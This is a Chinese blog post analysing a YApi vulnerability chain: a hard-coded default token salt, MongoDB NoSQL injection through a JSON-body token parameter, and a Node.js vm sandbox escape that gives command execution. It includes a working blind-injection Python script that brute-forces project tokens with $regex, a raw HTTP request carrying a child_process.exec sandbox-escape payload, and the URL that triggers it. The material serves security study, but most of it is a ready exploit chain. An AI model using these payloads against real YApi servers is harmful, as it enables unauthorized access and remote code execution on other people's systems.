yapi 命令执行mongodb注入和vm命令执行的分析

前言:yapi 命令执行漏洞分析笔记,第一时间其实就看了,但是看了许久都无法写出能够注入的语句,索性就放弃了,今天看了其他师傅的文章之后原来才发现是这样子的,有待学习...

参考文章:https://mp.weixin.qq.com/s/eFD5FKyL9jA1l0_6jCDz_w
参考文章:https://github.com/YMFE/yapi/pull/2628/commits/432cdfeb29667eea8b82d72a265022ac9515bdb7

修复的点在server/controllers/base.js

server/utils/token.js

调试的时候发现解密的时候是通过defaultSalt,并且该值是固定的

const defaultSalt = 'abcde';

token.js的parseToken解密函数

const aseDecode = function(data, password) {
/*
该方法使用指定的算法与密码来创建 decipher对象, 第一个算法必须与加密数据时所使用的算法保持一致;
第二个参数用于指定解密时所使用的密码,其参数值为一个二进制格式的字符串或一个Buffer对象,该密码同样必须与加密该数据时所使用的密码保持一致
*/
const decipher = crypto.createDecipher('aes192', password);
/*
第一个参数为一个Buffer对象或一个字符串,用于指定需要被解密的数据
第二个参数用于指定被解密数据所使用的编码格式,可指定的参数值为 'hex', 'binary', 'base64'等,
第三个参数用于指定输出解密数据时使用的编码格式,可选参数值为 'utf-8', 'ascii' 或 'binary';
*/
let decrypted = decipher.update(data, 'hex', 'utf-8');
decrypted += decipher.final('utf-8');
return decrypted;
};
const defaultSalt = 'abcde';
exports.parseToken = function parseToken(token){
if(!token)throw new Error('token 不能为空')
yapi.WEBCONFIG.passsalt = yapi.WEBCONFIG.passsalt || defaultSalt;
let tokens;
try{
tokens = aseDecode(token, yapi.WEBCONFIG.passsalt)
}catch(e){}
if(tokens && typeof tokens === 'string' && tokens.indexOf('|') > 0){
tokens = tokens.split('|')
return {
uid: tokens[0],
projectToken: tokens[1]
}
}
return false;
}

mongodb注入

一开始看到了对于token类型的限制,所以第一时间想到的一个类型过滤不严格导致的注入,接着猜测的就是在getProjectIdByToken点造成的注入

因为这里的getProjectIdByToken有两个点,但是如果是没有权限限制的访问的话就是在判断语句中的getProjectIdByToken中可以实现无权限访问

if(!tokens){
let checkId = await this.getProjectIdByToken(token); //这里可能是注入点
if(!checkId)return;
}else{
token = tokens.projectToken;
tokenUid = tokens.uid;
}

接收参数的是来自let params = Object.assign({}, ctx.query, ctx.request.body);,跟进去的话可以发现get和body传的参数都是可以进行接收的,如下图所示

访问的是 http://127.0.0.1:3000/api/open/run_auto_test?token=1,2,3

尝试了半天,自己当时想到的就是通过token=1&token=2,这种形式发送的话yapi处理的时候是当作数组形式的,但是发现无法实现注入

想要实现mongodb这种nosql形式的注入,则需要以下面这种形式来进行注入

> db.token.find()
{ "_id" : 15, "project_id" : 17, "token" : "a4b6ad7f28e6e0bf0ef9", "__v" : 0 }
> db.token.find({"token":"a4b6ad7f28e6e0bf0ef9"})
{ "_id" : 15, "project_id" : 17, "token" : "a4b6ad7f28e6e0bf0ef9", "__v" : 0 }
> db.token.find({"token":{"$ne":"a4b6ad7f28e6e0bf0ef9"}})
> db.token.find({"token":{"$ne":"a4b6ad7f28e6e0bf0efa"}})
{ "_id" : 15, "project_id" : 17, "token" : "a4b6ad7f28e6e0bf0ef9", "__v" : 0 }
> db.token.find({"token":{"$ne":"a4b6ad7f28e6e0bf0efa9"}})

那么就需要让token以字典的形式一样进行注入才可以生成,getProjectIdByToken的查询语句如下所示

因为上面说了传参的时候,get类型不止是url中传参,而且还可以通过body中进行传参,我自己尝试了url栏中通过?token=1&token=2这种形式,但是无法进行注入,如下所示

而url栏中传参又不能实现字典格式,但是在body中以json传参则可以实现,如下图所示

这里的话接收到的就是字典形式,直接实现注入

那么这里的话就可以通过mongodb中的正则regex来实现盲注

到了这里又有一个问题,不管是注入成功或者是注入失败回显的结果就是如下

因为现在访问相关的接口有了,所以这里找一个接口/api/project/get,如果是有权限的情况下但是参数不对导致的错误,这样就可以实现盲注对比

其他师傅的细节找的就是/api/project/get这个接口,通过注入的话checkAuth函数走的默认的权限为member

综合上述如果访问/api/project/get注入成功的话默认返回的就是没有权限,失败的话就是请登录

这里的话就可以写对应的脚本进行注入

import requests
tokenletter = "0123456789abcedf"
url1 = "https://xxxxx/api/project/get"
token = ""
for i in range(16):
for j in tokenletter:
body = {"token":{"$regex":"^" + token + j}}
resp = requests.get(url=url1,json=body,verify=False)
if "406" in resp.text:
print(body)
token += j
print(token)

总结:就是知道es6语法中的Object.assign方法中如果参数不验证的话十分容易导致注入的形成,这个在nodejs中需要多多学习和注意的!

模拟用户登录

token有了,但是最后利用的时候还需要uid,这里的话就可以通过parseToken函数来给tokenUid赋值

数据库中user表的查询的结果如下

当_id不为当前token对应的_id的值的时候则无权限,比如_id为1的情况下

当_id为11的情况下则访问成功

添加runAutoTest接口

可以看到执行脚本的时候就是通过vm模块来简单调用的,vm的沙箱绕过的payload很多,这里直接来一条即可

VM逃逸分析参考:https://www.cnblogs.com/zpchcbd/p/16899212.html

POST /api/project/up HTTP/1.1
Host: 127.0.0.1:3000
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 199
id=11&token=78cb3fe33988148d4909b47b429cff57ec1dce4b60fee2c397911ac7fff534d3&after_script=&pre_script=this.constructor.constructor("return process")().mainModule.require('child_process').exec('calc')

VM命令执行

带着id和对应的token访问,这里的id为11

http://127.0.0.1:3000/api/open/run_auto_test?id=11&token=78cb3fe33988148d4909b47b429cff57ec1dce4b60fee2c397911ac7fff534d3

posted @   zpchcbd  阅读(1036)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
历史上的今天:
2019-11-16 实现:调用API函数ShowWindow()来隐藏窗口
2019-11-16 实现:多态的综合案例
2019-11-16 实现:抽象类和多态的实例
2019-11-16 实现:多态计算机类
点击右上角即可分享
微信分享提示